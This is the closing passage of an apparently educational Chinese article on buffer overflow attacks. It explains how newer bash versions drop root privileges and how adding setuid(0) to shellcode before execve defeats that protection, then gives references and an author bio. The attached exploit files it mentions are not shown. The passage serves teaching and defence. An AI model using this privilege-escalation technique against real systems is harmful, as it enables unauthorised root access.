另外,正如我們在本文前言中所指出的那樣,如果讀者使用的是較高版本的bash的話,那麼即使您在運行攻擊程序exe之後得到了一個新的shell,您可能會發現並沒有得到您所期望的root權限。其實這正是的高版本bash的改進之一。由於近十年來緩衝區溢出攻擊屢見不鮮,而且大部分的攻擊對象都是系統中屬主爲root的setuid程序,以藉此獲得root權限。因此以root權限運行系統中的程序是十分危險的。爲此,在新的POSIX.1標準中增加了一個名爲seteuid(2)的系統調用,其作用在於改變進程的effective uid。而新版本的bash也都紛紛採用了這一技術,在bash啓動運行之初首先通過調用seteuid(getuid())將bash的運行權限恢復爲進程屬主的權限,這樣就出現了我們在高版本bash中運行攻擊程序exe所看到的結果。那麼高版本的bash就已經無懈可擊了嗎?其實不然,只要在通過execve(2)創建shell之前先調用setuid(0)將進程的uid也改爲0,bash的這一改進也就徒勞無功了。也就是說,你所要做的就是遵照前面所講的系統調用規則將setuid(0)加入到shellcode中,而新版shellocde的這一改進只需要很少的工作量。附件中的shellcodeasm3.c和exe_pro.c告訴了你該如何去做。
安全有兩種不同的表現形式,一種是如果你所使用的系統在安全上存在漏洞,但是黑客們對此一無所知,那麼你可以暫且認爲你的系統是安全的;另一種是黑客和你都發現了系統中的安全漏洞,但是你會想方設法將漏洞彌補上,使你的系統真正無懈可擊。你想要的是哪一種呢?聖經上的一句話給出了這個問題的答案,而這句話也被刻在了美國中央情報局大廳的牆壁上:“你應當瞭解真相,真相會使你自由。”
-
Aleph One. Smashing The Stack For Fun And Profit.
-
Pierre-Alain FAYOLLE, Vincent GLAUME. A Buffer Overflow Study -- Attacks & Defenses.
-
Taeho Oh. Advanced buffer overflow exploit.
-
綠盟科技(nsfocus). NSFOCUS 2002年十大安全漏洞, 2002, http://www.nsfocus.net/index.php?act=sec_bug&do=top_ten
-
王卓威。基於系統行爲模式的緩衝區溢出攻擊檢測技術。
-
developerWorks上的 《使您的軟件運行起來:防止緩衝區溢出》爲您列出了標準C庫中所有存在安全隱患的函數以及對這些函數的使用建議。
-
毛德操,胡希明的《Linux內核源代碼情景分析》向讀者介紹了Linux下嵌入式彙編語言的語法。
-
W.Richard Stevens的《Advanced Programming in the UNIX Environment》爲您詳細介紹了uid和effective uid的概念以及setuid(2)和seteuid(2)等相關函數的用法。
-
Joel Scambray, Stuart McClure, George Kurtz的《Hacking Exposed》向讀者介紹了網絡安全的方方面面,從而使讀者對網絡安全有更多的瞭解,知道如何去加強安全性。
-
Intel. Intel Architecture Software Developer's Manual. Intel Corporation.
王勇,現在北京航空航天大學計算機學院系統軟件實驗室攻讀計算機碩士學位,主要研究領域爲操作系統及分佈式文件系統。可以通過 [email protected]與他聯繫。